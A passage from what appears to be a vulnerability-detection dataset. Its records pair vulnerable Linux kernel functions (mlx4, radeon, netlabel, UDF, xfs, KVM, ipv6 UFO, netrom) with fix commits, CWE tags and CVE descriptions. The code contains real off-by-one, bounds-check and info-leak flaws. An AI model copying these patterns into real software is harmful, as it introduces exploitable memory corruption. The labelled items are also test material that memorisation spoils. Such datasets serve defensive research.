printk(KERN_INFO "TCM_Loop_ConfigFS: Allocated Emulated %s"
" Target Port %s,t,0x%04x\n", tcm_loop_dump_proto_id(tl_hba),
config_item_name(&wwn->wwn_group.cg_item), tpgt);
return &tl_tpg->tl_se_tpg;
}
| 173,887,909,380,776,370,000,000,000,000,000,000,000 | None | null | [
"CWE-119"
] | CVE-2011-5327 | In the Linux kernel before 3.1, an off by one in the drivers/target/loopback/tcm_loop.c tcm_loop_make_naa_tpg() function could result in at least memory corruption. | https://nvd.nist.gov/vuln/detail/CVE-2011-5327 |
4,212 | linux | 0926f91083f34d047abc74f1ca4fa6a9c161f7db | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0926f91083f34d047abc74f1ca4fa6a9c161f7db | mlx4_en: Fix out of bounds array access
When searching for a free entry in either mlx4_register_vlan() or
mlx4_register_mac(), and there is no free entry, the loop terminates without
updating the local variable free thus causing out of array bounds access. Fix
this by adding a proper check outside the loop.
Signed-off-by: Eli Cohen <eli@mellanox.co.il>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | int mlx4_register_mac(struct mlx4_dev *dev, u8 port, u64 mac, int *index)
{
struct mlx4_mac_table *table = &mlx4_priv(dev)->port[port].mac_table;
int i, err = 0;
int free = -1;
mlx4_dbg(dev, "Registering MAC: 0x%llx\n", (unsigned long long) mac);
mutex_lock(&table->mutex);
for (i = 0; i < MLX4_MAX_MAC_NUM - 1; i++) {
if (free < 0 && !table->refs[i]) {
free = i;
continue;
}
if (mac == (MLX4_MAC_MASK & be64_to_cpu(table->entries[i]))) {
/* MAC already registered, increase refernce count */
*index = i;
++table->refs[i];
goto out;
}
}
mlx4_dbg(dev, "Free MAC index is %d\n", free);
if (table->total == table->max) {
/* No free mac entries */
err = -ENOSPC;
goto out;
}
/* Register new MAC */
table->refs[free] = 1;
table->entries[free] = cpu_to_be64(mac | MLX4_MAC_VALID);
err = mlx4_set_port_mac_table(dev, port, table->entries);
if (unlikely(err)) {
mlx4_err(dev, "Failed adding MAC: 0x%llx\n", (unsigned long long) mac);
table->refs[free] = 0;
table->entries[free] = 0;
goto out;
}
*index = free;
++table->total;
out:
mutex_unlock(&table->mutex);
return err;
}
| 334,432,146,822,531,400,000,000,000,000,000,000,000 | port.c | 320,353,152,093,700,700,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2010-5332 | In the Linux kernel before 2.6.37, an out of bounds array access happened in drivers/net/mlx4/port.c. When searching for a free entry in either mlx4_register_vlan() or mlx4_register_mac(), and there is no free entry, the loop terminates without updating the local variable free thus causing out of array bounds access. | https://nvd.nist.gov/vuln/detail/CVE-2010-5332 |
4,213 | linux | 0926f91083f34d047abc74f1ca4fa6a9c161f7db | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0926f91083f34d047abc74f1ca4fa6a9c161f7db | mlx4_en: Fix out of bounds array access
When searching for a free entry in either mlx4_register_vlan() or
mlx4_register_mac(), and there is no free entry, the loop terminates without
updating the local variable free thus causing out of array bounds access. Fix
this by adding a proper check outside the loop.
Signed-off-by: Eli Cohen <eli@mellanox.co.il>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | int mlx4_register_vlan(struct mlx4_dev *dev, u8 port, u16 vlan, int *index)
{
struct mlx4_vlan_table *table = &mlx4_priv(dev)->port[port].vlan_table;
int i, err = 0;
int free = -1;
mutex_lock(&table->mutex);
for (i = MLX4_VLAN_REGULAR; i < MLX4_MAX_VLAN_NUM; i++) {
if (free < 0 && (table->refs[i] == 0)) {
free = i;
continue;
}
if (table->refs[i] &&
(vlan == (MLX4_VLAN_MASK &
be32_to_cpu(table->entries[i])))) {
/* Vlan already registered, increase refernce count */
*index = i;
++table->refs[i];
goto out;
}
}
if (table->total == table->max) {
/* No free vlan entries */
err = -ENOSPC;
goto out;
}
/* Register new MAC */
table->refs[free] = 1;
table->entries[free] = cpu_to_be32(vlan | MLX4_VLAN_VALID);
err = mlx4_set_port_vlan_table(dev, port, table->entries);
if (unlikely(err)) {
mlx4_warn(dev, "Failed adding vlan: %u\n", vlan);
table->refs[free] = 0;
table->entries[free] = 0;
goto out;
}
*index = free;
++table->total;
out:
mutex_unlock(&table->mutex);
return err;
}
| 152,912,856,707,100,740,000,000,000,000,000,000,000 | port.c | 320,353,152,093,700,700,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2010-5332 | In the Linux kernel before 2.6.37, an out of bounds array access happened in drivers/net/mlx4/port.c. When searching for a free entry in either mlx4_register_vlan() or mlx4_register_mac(), and there is no free entry, the loop terminates without updating the local variable free thus causing out of array bounds access. | https://nvd.nist.gov/vuln/detail/CVE-2010-5332 |
4,214 | linux | 0031c41be5c529f8329e327b63cde92ba1284842 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/0031c41be5c529f8329e327b63cde92ba1284842 | drivers/gpu/drm/radeon/radeon_atombios.c: range check issues
This change makes the array larger, "MAX_SUPPORTED_TV_TIMING_V1_2" is 3
and the original size "MAX_SUPPORTED_TV_TIMING" is 2.
Also there were checks that were off by one.
Signed-off-by: Dan Carpenter <error27@gmail.com>
Acked-by: Alex Deucher <alexdeucher@gmail.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Dave Airlie <airlied@redhat.com> | 1 | bool radeon_atom_get_tv_timings(struct radeon_device *rdev, int index,
struct drm_display_mode *mode)
{
struct radeon_mode_info *mode_info = &rdev->mode_info;
ATOM_ANALOG_TV_INFO *tv_info;
ATOM_ANALOG_TV_INFO_V1_2 *tv_info_v1_2;
ATOM_DTD_FORMAT *dtd_timings;
int data_index = GetIndexIntoMasterTable(DATA, AnalogTV_Info);
u8 frev, crev;
u16 data_offset, misc;
if (!atom_parse_data_header(mode_info->atom_context, data_index, NULL,
&frev, &crev, &data_offset))
return false;
switch (crev) {
case 1:
tv_info = (ATOM_ANALOG_TV_INFO *)(mode_info->atom_context->bios + data_offset);
if (index > MAX_SUPPORTED_TV_TIMING)
return false;
mode->crtc_htotal = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_H_Total);
mode->crtc_hdisplay = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_H_Disp);
mode->crtc_hsync_start = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_H_SyncStart);
mode->crtc_hsync_end = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_H_SyncStart) +
le16_to_cpu(tv_info->aModeTimings[index].usCRTC_H_SyncWidth);
mode->crtc_vtotal = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_V_Total);
mode->crtc_vdisplay = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_V_Disp);
mode->crtc_vsync_start = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_V_SyncStart);
mode->crtc_vsync_end = le16_to_cpu(tv_info->aModeTimings[index].usCRTC_V_SyncStart) +
le16_to_cpu(tv_info->aModeTimings[index].usCRTC_V_SyncWidth);
mode->flags = 0;
misc = le16_to_cpu(tv_info->aModeTimings[index].susModeMiscInfo.usAccess);
if (misc & ATOM_VSYNC_POLARITY)
mode->flags |= DRM_MODE_FLAG_NVSYNC;
if (misc & ATOM_HSYNC_POLARITY)
mode->flags |= DRM_MODE_FLAG_NHSYNC;
if (misc & ATOM_COMPOSITESYNC)
mode->flags |= DRM_MODE_FLAG_CSYNC;
if (misc & ATOM_INTERLACE)
mode->flags |= DRM_MODE_FLAG_INTERLACE;
if (misc & ATOM_DOUBLE_CLOCK_MODE)
mode->flags |= DRM_MODE_FLAG_DBLSCAN;
mode->clock = le16_to_cpu(tv_info->aModeTimings[index].usPixelClock) * 10;
if (index == 1) {
/* PAL timings appear to have wrong values for totals */
mode->crtc_htotal -= 1;
mode->crtc_vtotal -= 1;
}
break;
case 2:
tv_info_v1_2 = (ATOM_ANALOG_TV_INFO_V1_2 *)(mode_info->atom_context->bios + data_offset);
if (index > MAX_SUPPORTED_TV_TIMING_V1_2)
return false;
dtd_timings = &tv_info_v1_2->aModeTimings[index];
mode->crtc_htotal = le16_to_cpu(dtd_timings->usHActive) +
le16_to_cpu(dtd_timings->usHBlanking_Time);
mode->crtc_hdisplay = le16_to_cpu(dtd_timings->usHActive);
mode->crtc_hsync_start = le16_to_cpu(dtd_timings->usHActive) +
le16_to_cpu(dtd_timings->usHSyncOffset);
mode->crtc_hsync_end = mode->crtc_hsync_start +
le16_to_cpu(dtd_timings->usHSyncWidth);
mode->crtc_vtotal = le16_to_cpu(dtd_timings->usVActive) +
le16_to_cpu(dtd_timings->usVBlanking_Time);
mode->crtc_vdisplay = le16_to_cpu(dtd_timings->usVActive);
mode->crtc_vsync_start = le16_to_cpu(dtd_timings->usVActive) +
le16_to_cpu(dtd_timings->usVSyncOffset);
mode->crtc_vsync_end = mode->crtc_vsync_start +
le16_to_cpu(dtd_timings->usVSyncWidth);
mode->flags = 0;
misc = le16_to_cpu(dtd_timings->susModeMiscInfo.usAccess);
if (misc & ATOM_VSYNC_POLARITY)
mode->flags |= DRM_MODE_FLAG_NVSYNC;
if (misc & ATOM_HSYNC_POLARITY)
mode->flags |= DRM_MODE_FLAG_NHSYNC;
if (misc & ATOM_COMPOSITESYNC)
mode->flags |= DRM_MODE_FLAG_CSYNC;
if (misc & ATOM_INTERLACE)
mode->flags |= DRM_MODE_FLAG_INTERLACE;
if (misc & ATOM_DOUBLE_CLOCK_MODE)
mode->flags |= DRM_MODE_FLAG_DBLSCAN;
mode->clock = le16_to_cpu(dtd_timings->usPixClk) * 10;
break;
}
return true;
}
| 235,165,537,631,957,300,000,000,000,000,000,000,000 | radeon_atombios.c | 10,244,202,857,860,056,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2010-5331 | In the Linux kernel before 2.6.34, a range check issue in drivers/gpu/drm/radeon/atombios.c could cause an off by one (buffer overflow) problem. NOTE: At least one Linux maintainer believes that this CVE is incorrectly assigned and should be rejected because the value is hard coded and are not user-controllable where it is used | https://nvd.nist.gov/vuln/detail/CVE-2010-5331 |
4,215 | linux | 2a2f11c227bdf292b3a2900ad04139d301b56ac4 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/2a2f11c227bdf292b3a2900ad04139d301b56ac4 | NetLabel: correct CIPSO tag handling when adding new DOI definitions
The current netlbl_cipsov4_add_common() function has two problems which are
fixed with this patch. The first is an off-by-one bug where it is possibile to
overflow the doi_def->tags[] array. The second is a bug where the same
doi_def->tags[] array was not always fully initialized, which caused sporadic
failures.
Signed-off-by: Paul Moore <paul.moore@hp.com>
Signed-off-by: James Morris <jmorris@namei.org> | 1 | static int netlbl_cipsov4_add_common(struct genl_info *info,
struct cipso_v4_doi *doi_def)
{
struct nlattr *nla;
int nla_rem;
u32 iter = 0;
doi_def->doi = nla_get_u32(info->attrs[NLBL_CIPSOV4_A_DOI]);
if (nla_validate_nested(info->attrs[NLBL_CIPSOV4_A_TAGLST],
NLBL_CIPSOV4_A_MAX,
netlbl_cipsov4_genl_policy) != 0)
return -EINVAL;
nla_for_each_nested(nla, info->attrs[NLBL_CIPSOV4_A_TAGLST], nla_rem)
if (nla->nla_type == NLBL_CIPSOV4_A_TAG) {
if (iter > CIPSO_V4_TAG_MAXCNT)
return -EINVAL;
doi_def->tags[iter++] = nla_get_u8(nla);
}
if (iter < CIPSO_V4_TAG_MAXCNT)
doi_def->tags[iter] = CIPSO_V4_TAG_INVALID;
return 0;
}
| 185,225,743,962,151,470,000,000,000,000,000,000,000 | netlabel_cipso_v4.c | 9,839,229,491,276,271,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2007-6762 | In the Linux kernel before 2.6.20, there is an off-by-one bug in net/netlabel/netlabel_cipso_v4.c where it is possible to overflow the doi_def->tags[] array. | https://nvd.nist.gov/vuln/detail/CVE-2007-6762 |
4,217 | linux | 1df2ae31c724e57be9d7ac00d78db8a5dabdd050 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/1df2ae31c724e57be9d7ac00d78db8a5dabdd050 | udf: Fortify loading of sparing table
Add sanity checks when loading sparing table from disk to avoid accessing
unallocated memory or writing to it.
Signed-off-by: Jan Kara <jack@suse.cz> | 1 | static int udf_load_logicalvol(struct super_block *sb, sector_t block,
struct kernel_lb_addr *fileset)
{
struct logicalVolDesc *lvd;
int i, j, offset;
uint8_t type;
struct udf_sb_info *sbi = UDF_SB(sb);
struct genericPartitionMap *gpm;
uint16_t ident;
struct buffer_head *bh;
unsigned int table_len;
int ret = 0;
bh = udf_read_tagged(sb, block, block, &ident);
if (!bh)
return 1;
BUG_ON(ident != TAG_IDENT_LVD);
lvd = (struct logicalVolDesc *)bh->b_data;
table_len = le32_to_cpu(lvd->mapTableLength);
if (sizeof(*lvd) + table_len > sb->s_blocksize) {
udf_err(sb, "error loading logical volume descriptor: "
"Partition table too long (%u > %lu)\n", table_len,
sb->s_blocksize - sizeof(*lvd));
goto out_bh;
}
ret = udf_sb_alloc_partition_maps(sb, le32_to_cpu(lvd->numPartitionMaps));
if (ret)
goto out_bh;
for (i = 0, offset = 0;
i < sbi->s_partitions && offset < table_len;
i++, offset += gpm->partitionMapLength) {
struct udf_part_map *map = &sbi->s_partmaps[i];
gpm = (struct genericPartitionMap *)
&(lvd->partitionMaps[offset]);
type = gpm->partitionMapType;
if (type == 1) {
struct genericPartitionMap1 *gpm1 =
(struct genericPartitionMap1 *)gpm;
map->s_partition_type = UDF_TYPE1_MAP15;
map->s_volumeseqnum = le16_to_cpu(gpm1->volSeqNum);
map->s_partition_num = le16_to_cpu(gpm1->partitionNum);
map->s_partition_func = NULL;
} else if (type == 2) {
struct udfPartitionMap2 *upm2 =
(struct udfPartitionMap2 *)gpm;
if (!strncmp(upm2->partIdent.ident, UDF_ID_VIRTUAL,
strlen(UDF_ID_VIRTUAL))) {
u16 suf =
le16_to_cpu(((__le16 *)upm2->partIdent.
identSuffix)[0]);
if (suf < 0x0200) {
map->s_partition_type =
UDF_VIRTUAL_MAP15;
map->s_partition_func =
udf_get_pblock_virt15;
} else {
map->s_partition_type =
UDF_VIRTUAL_MAP20;
map->s_partition_func =
udf_get_pblock_virt20;
}
} else if (!strncmp(upm2->partIdent.ident,
UDF_ID_SPARABLE,
strlen(UDF_ID_SPARABLE))) {
uint32_t loc;
struct sparingTable *st;
struct sparablePartitionMap *spm =
(struct sparablePartitionMap *)gpm;
map->s_partition_type = UDF_SPARABLE_MAP15;
map->s_type_specific.s_sparing.s_packet_len =
le16_to_cpu(spm->packetLength);
for (j = 0; j < spm->numSparingTables; j++) {
struct buffer_head *bh2;
loc = le32_to_cpu(
spm->locSparingTable[j]);
bh2 = udf_read_tagged(sb, loc, loc,
&ident);
map->s_type_specific.s_sparing.
s_spar_map[j] = bh2;
if (bh2 == NULL)
continue;
st = (struct sparingTable *)bh2->b_data;
if (ident != 0 || strncmp(
st->sparingIdent.ident,
UDF_ID_SPARING,
strlen(UDF_ID_SPARING))) {
brelse(bh2);
map->s_type_specific.s_sparing.
s_spar_map[j] = NULL;
}
}
map->s_partition_func = udf_get_pblock_spar15;
} else if (!strncmp(upm2->partIdent.ident,
UDF_ID_METADATA,
strlen(UDF_ID_METADATA))) {
struct udf_meta_data *mdata =
&map->s_type_specific.s_metadata;
struct metadataPartitionMap *mdm =
(struct metadataPartitionMap *)
&(lvd->partitionMaps[offset]);
udf_debug("Parsing Logical vol part %d type %d id=%s\n",
i, type, UDF_ID_METADATA);
map->s_partition_type = UDF_METADATA_MAP25;
map->s_partition_func = udf_get_pblock_meta25;
mdata->s_meta_file_loc =
le32_to_cpu(mdm->metadataFileLoc);
mdata->s_mirror_file_loc =
le32_to_cpu(mdm->metadataMirrorFileLoc);
mdata->s_bitmap_file_loc =
le32_to_cpu(mdm->metadataBitmapFileLoc);
mdata->s_alloc_unit_size =
le32_to_cpu(mdm->allocUnitSize);
mdata->s_align_unit_size =
le16_to_cpu(mdm->alignUnitSize);
if (mdm->flags & 0x01)
mdata->s_flags |= MF_DUPLICATE_MD;
udf_debug("Metadata Ident suffix=0x%x\n",
le16_to_cpu(*(__le16 *)
mdm->partIdent.identSuffix));
udf_debug("Metadata part num=%d\n",
le16_to_cpu(mdm->partitionNum));
udf_debug("Metadata part alloc unit size=%d\n",
le32_to_cpu(mdm->allocUnitSize));
udf_debug("Metadata file loc=%d\n",
le32_to_cpu(mdm->metadataFileLoc));
udf_debug("Mirror file loc=%d\n",
le32_to_cpu(mdm->metadataMirrorFileLoc));
udf_debug("Bitmap file loc=%d\n",
le32_to_cpu(mdm->metadataBitmapFileLoc));
udf_debug("Flags: %d %d\n",
mdata->s_flags, mdm->flags);
} else {
udf_debug("Unknown ident: %s\n",
upm2->partIdent.ident);
continue;
}
map->s_volumeseqnum = le16_to_cpu(upm2->volSeqNum);
map->s_partition_num = le16_to_cpu(upm2->partitionNum);
}
udf_debug("Partition (%d:%d) type %d on volume %d\n",
i, map->s_partition_num, type, map->s_volumeseqnum);
}
if (fileset) {
struct long_ad *la = (struct long_ad *)&(lvd->logicalVolContentsUse[0]);
*fileset = lelb_to_cpu(la->extLocation);
udf_debug("FileSet found in LogicalVolDesc at block=%d, partition=%d\n",
fileset->logicalBlockNum,
fileset->partitionReferenceNum);
}
if (lvd->integritySeqExt.extLength)
udf_load_logicalvolint(sb, leea_to_cpu(lvd->integritySeqExt));
out_bh:
brelse(bh);
return ret;
}
| 203,586,019,560,546,920,000,000,000,000,000,000,000 | super.c | 167,850,010,728,400,120,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2012-3400 | Heap-based buffer overflow in the udf_load_logicalvol function in fs/udf/super.c in the Linux kernel before 3.4.5 allows remote attackers to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted UDF filesystem. | https://nvd.nist.gov/vuln/detail/CVE-2012-3400 |
4,223 | linux | 093019cf1b18dd31b2c3b77acce4e000e2cbc9ce | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/093019cf1b18dd31b2c3b77acce4e000e2cbc9ce | xfs: fix acl count validation in xfs_acl_from_disk()
Commit fa8b18ed didn't prevent the integer overflow and possible
memory corruption. "count" can go negative and bypass the check.
Signed-off-by: Xi Wang <xi.wang@gmail.com>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Ben Myers <bpm@sgi.com> | 1 | xfs_acl_from_disk(struct xfs_acl *aclp)
{
struct posix_acl_entry *acl_e;
struct posix_acl *acl;
struct xfs_acl_entry *ace;
int count, i;
count = be32_to_cpu(aclp->acl_cnt);
if (count > XFS_ACL_MAX_ENTRIES)
return ERR_PTR(-EFSCORRUPTED);
acl = posix_acl_alloc(count, GFP_KERNEL);
if (!acl)
return ERR_PTR(-ENOMEM);
for (i = 0; i < count; i++) {
acl_e = &acl->a_entries[i];
ace = &aclp->acl_entry[i];
/*
* The tag is 32 bits on disk and 16 bits in core.
*
* Because every access to it goes through the core
* format first this is not a problem.
*/
acl_e->e_tag = be32_to_cpu(ace->ae_tag);
acl_e->e_perm = be16_to_cpu(ace->ae_perm);
switch (acl_e->e_tag) {
case ACL_USER:
case ACL_GROUP:
acl_e->e_id = be32_to_cpu(ace->ae_id);
break;
case ACL_USER_OBJ:
case ACL_GROUP_OBJ:
case ACL_MASK:
case ACL_OTHER:
acl_e->e_id = ACL_UNDEFINED_ID;
break;
default:
goto fail;
}
}
return acl;
fail:
posix_acl_release(acl);
return ERR_PTR(-EINVAL);
}
| 338,872,511,102,859,500,000,000,000,000,000,000,000 | xfs_acl.c | 255,306,518,644,300,600,000,000,000,000,000,000,000 | [
"CWE-189"
] | CVE-2012-0038 | Integer overflow in the xfs_acl_from_disk function in fs/xfs/xfs_acl.c in the Linux kernel before 3.1.9 allows local users to cause a denial of service (panic) via a filesystem with a malformed ACL, leading to a heap-based buffer overflow. | https://nvd.nist.gov/vuln/detail/CVE-2012-0038 |
4,227 | linux | e40f193f5bb022e927a57a4f5d5194e4f12ddb74 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/e40f193f5bb022e927a57a4f5d5194e4f12ddb74 | KVM: Fix iommu map/unmap to handle memory slot moves
The iommu integration into memory slots expects memory slots to be
added or removed and doesn't handle the move case. We can unmap
slots from the iommu after we mark them invalid and map them before
installing the final memslot array. Also re-order the kmemdup vs
map so we don't leave iommu mappings if we get ENOMEM.
Reviewed-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Alex Williamson <alex.williamson@redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com> | 1 | int __kvm_set_memory_region(struct kvm *kvm,
struct kvm_userspace_memory_region *mem,
int user_alloc)
{
int r;
gfn_t base_gfn;
unsigned long npages;
struct kvm_memory_slot *memslot, *slot;
struct kvm_memory_slot old, new;
struct kvm_memslots *slots, *old_memslots;
r = check_memory_region_flags(mem);
if (r)
goto out;
r = -EINVAL;
/* General sanity checks */
if (mem->memory_size & (PAGE_SIZE - 1))
goto out;
if (mem->guest_phys_addr & (PAGE_SIZE - 1))
goto out;
/* We can read the guest memory with __xxx_user() later on. */
if (user_alloc &&
((mem->userspace_addr & (PAGE_SIZE - 1)) ||
!access_ok(VERIFY_WRITE,
(void __user *)(unsigned long)mem->userspace_addr,
mem->memory_size)))
goto out;
if (mem->slot >= KVM_MEM_SLOTS_NUM)
goto out;
if (mem->guest_phys_addr + mem->memory_size < mem->guest_phys_addr)
goto out;
memslot = id_to_memslot(kvm->memslots, mem->slot);
base_gfn = mem->guest_phys_addr >> PAGE_SHIFT;
npages = mem->memory_size >> PAGE_SHIFT;
r = -EINVAL;
if (npages > KVM_MEM_MAX_NR_PAGES)
goto out;
if (!npages)
mem->flags &= ~KVM_MEM_LOG_DIRTY_PAGES;
new = old = *memslot;
new.id = mem->slot;
new.base_gfn = base_gfn;
new.npages = npages;
new.flags = mem->flags;
/*
* Disallow changing a memory slot's size or changing anything about
* zero sized slots that doesn't involve making them non-zero.
*/
r = -EINVAL;
if (npages && old.npages && npages != old.npages)
goto out_free;
if (!npages && !old.npages)
goto out_free;
/* Check for overlaps */
r = -EEXIST;
kvm_for_each_memslot(slot, kvm->memslots) {
if (slot->id >= KVM_MEMORY_SLOTS || slot == memslot)
continue;
if (!((base_gfn + npages <= slot->base_gfn) ||
(base_gfn >= slot->base_gfn + slot->npages)))
goto out_free;
}
/* Free page dirty bitmap if unneeded */
if (!(new.flags & KVM_MEM_LOG_DIRTY_PAGES))
new.dirty_bitmap = NULL;
r = -ENOMEM;
/*
* Allocate if a slot is being created. If modifying a slot,
* the userspace_addr cannot change.
*/
if (!old.npages) {
new.user_alloc = user_alloc;
new.userspace_addr = mem->userspace_addr;
if (kvm_arch_create_memslot(&new, npages))
goto out_free;
} else if (npages && mem->userspace_addr != old.userspace_addr) {
r = -EINVAL;
goto out_free;
}
/* Allocate page dirty bitmap if needed */
if ((new.flags & KVM_MEM_LOG_DIRTY_PAGES) && !new.dirty_bitmap) {
if (kvm_create_dirty_bitmap(&new) < 0)
goto out_free;
/* destroy any largepage mappings for dirty tracking */
}
if (!npages || base_gfn != old.base_gfn) {
struct kvm_memory_slot *slot;
r = -ENOMEM;
slots = kmemdup(kvm->memslots, sizeof(struct kvm_memslots),
GFP_KERNEL);
if (!slots)
goto out_free;
slot = id_to_memslot(slots, mem->slot);
slot->flags |= KVM_MEMSLOT_INVALID;
update_memslots(slots, NULL);
old_memslots = kvm->memslots;
rcu_assign_pointer(kvm->memslots, slots);
synchronize_srcu_expedited(&kvm->srcu);
/* From this point no new shadow pages pointing to a deleted,
* or moved, memslot will be created.
*
* validation of sp->gfn happens in:
* - gfn_to_hva (kvm_read_guest, gfn_to_pfn)
* - kvm_is_visible_gfn (mmu_check_roots)
*/
kvm_arch_flush_shadow_memslot(kvm, slot);
kfree(old_memslots);
}
r = kvm_arch_prepare_memory_region(kvm, &new, old, mem, user_alloc);
if (r)
goto out_free;
/* map/unmap the pages in iommu page table */
if (npages) {
r = kvm_iommu_map_pages(kvm, &new);
if (r)
goto out_free;
} else
kvm_iommu_unmap_pages(kvm, &old);
r = -ENOMEM;
slots = kmemdup(kvm->memslots, sizeof(struct kvm_memslots),
GFP_KERNEL);
if (!slots)
goto out_free;
/* actual memory is freed via old in kvm_free_physmem_slot below */
if (!npages) {
new.dirty_bitmap = NULL;
memset(&new.arch, 0, sizeof(new.arch));
}
update_memslots(slots, &new);
old_memslots = kvm->memslots;
rcu_assign_pointer(kvm->memslots, slots);
synchronize_srcu_expedited(&kvm->srcu);
kvm_arch_commit_memory_region(kvm, mem, old, user_alloc);
kvm_free_physmem_slot(&old, &new);
kfree(old_memslots);
return 0;
out_free:
kvm_free_physmem_slot(&new, &old);
out:
return r;
}
| 42,039,554,948,212,130,000,000,000,000,000,000,000 | kvm_main.c | 289,658,061,896,194,840,000,000,000,000,000,000,000 | [
"CWE-399"
] | CVE-2013-4592 | Memory leak in the __kvm_set_memory_region function in virt/kvm/kvm_main.c in the Linux kernel before 3.9 allows local users to cause a denial of service (memory consumption) by leveraging certain device access to trigger movement of memory slots. | https://nvd.nist.gov/vuln/detail/CVE-2013-4592 |
4,228 | linux | c547dbf55d5f8cf615ccc0e7265e98db27d3fb8b | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/c547dbf55d5f8cf615ccc0e7265e98db27d3fb8b | ip6_output: do skb ufo init for peeked non ufo skb as well
Now, if user application does:
sendto len<mtu flag MSG_MORE
sendto len>mtu flag 0
The skb is not treated as fragmented one because it is not initialized
that way. So move the initialization to fix this.
introduced by:
commit e89e9cf539a28df7d0eb1d0a545368e9920b34ac "[IPv4/IPv6]: UFO Scatter-gather approach"
Signed-off-by: Jiri Pirko <jiri@resnulli.us>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static inline int ip6_ufo_append_data(struct sock *sk,
int getfrag(void *from, char *to, int offset, int len,
int odd, struct sk_buff *skb),
void *from, int length, int hh_len, int fragheaderlen,
int transhdrlen, int mtu,unsigned int flags,
struct rt6_info *rt)
{
struct sk_buff *skb;
int err;
/* There is support for UDP large send offload by network
* device, so create one single skb packet containing complete
* udp datagram
*/
if ((skb = skb_peek_tail(&sk->sk_write_queue)) == NULL) {
struct frag_hdr fhdr;
skb = sock_alloc_send_skb(sk,
hh_len + fragheaderlen + transhdrlen + 20,
(flags & MSG_DONTWAIT), &err);
if (skb == NULL)
return err;
/* reserve space for Hardware header */
skb_reserve(skb, hh_len);
/* create space for UDP/IP header */
skb_put(skb,fragheaderlen + transhdrlen);
/* initialize network header pointer */
skb_reset_network_header(skb);
/* initialize protocol header pointer */
skb->transport_header = skb->network_header + fragheaderlen;
skb->protocol = htons(ETH_P_IPV6);
skb->ip_summed = CHECKSUM_PARTIAL;
skb->csum = 0;
/* Specify the length of each IPv6 datagram fragment.
* It has to be a multiple of 8.
*/
skb_shinfo(skb)->gso_size = (mtu - fragheaderlen -
sizeof(struct frag_hdr)) & ~7;
skb_shinfo(skb)->gso_type = SKB_GSO_UDP;
ipv6_select_ident(&fhdr, rt);
skb_shinfo(skb)->ip6_frag_id = fhdr.identification;
__skb_queue_tail(&sk->sk_write_queue, skb);
}
return skb_append_datato_frags(sk, skb, getfrag, from,
(length - transhdrlen));
}
| 210,909,608,125,529,560,000,000,000,000,000,000,000 | ip6_output.c | 21,304,489,657,470,253,000,000,000,000,000,000,000 | [
"CWE-264"
] | CVE-2013-4470 | The Linux kernel before 3.12, when UDP Fragmentation Offload (UFO) is enabled, does not properly initialize certain data structures, which allows local users to cause a denial of service (memory corruption and system crash) or possibly gain privileges via a crafted application that uses the UDP_CORK option in a setsockopt system call and sends both short and long packets, related to the ip_ufo_append_data function in net/ipv4/ip_output.c and the ip6_ufo_append_data function in net/ipv6/ip6_output.c. | https://nvd.nist.gov/vuln/detail/CVE-2013-4470 |
4,229 | linux | c802d759623acbd6e1ee9fbdabae89159a513913 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/c802d759623acbd6e1ee9fbdabae89159a513913 | netrom: fix invalid use of sizeof in nr_recvmsg()
sizeof() when applied to a pointer typed expression gives the size of the
pointer, not that of the pointed data.
Introduced by commit 3ce5ef(netrom: fix info leak via msg_name in nr_recvmsg)
Signed-off-by: Wei Yongjun <yongjun_wei@trendmicro.com.cn>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int nr_recvmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t size, int flags)
{
struct sock *sk = sock->sk;
struct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name;
size_t copied;
struct sk_buff *skb;
int er;
/*
* This works for seqpacket too. The receiver has ordered the queue for
* us! We do one quick check first though
*/
lock_sock(sk);
if (sk->sk_state != TCP_ESTABLISHED) {
release_sock(sk);
return -ENOTCONN;
}
/* Now we can treat all alike */
if ((skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &er)) == NULL) {
release_sock(sk);
return er;
}
skb_reset_transport_header(skb);
copied = skb->len;
if (copied > size) {
copied = size;
msg->msg_flags |= MSG_TRUNC;
}
er = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);
if (er < 0) {
skb_free_datagram(sk, skb);
release_sock(sk);
return er;
}
if (sax != NULL) {
memset(sax, 0, sizeof(sax));
sax->sax25_family = AF_NETROM;
skb_copy_from_linear_data_offset(skb, 7, sax->sax25_call.ax25_call,
AX25_ADDR_LEN);
}
msg->msg_namelen = sizeof(*sax);
skb_free_datagram(sk, skb);
release_sock(sk);
return copied;
}
| 328,939,254,347,918,100,000,000,000,000,000,000,000 | af_netrom.c | 92,523,120,517,097,200,000,000,000,000,000,000,000 | [
"CWE-200"
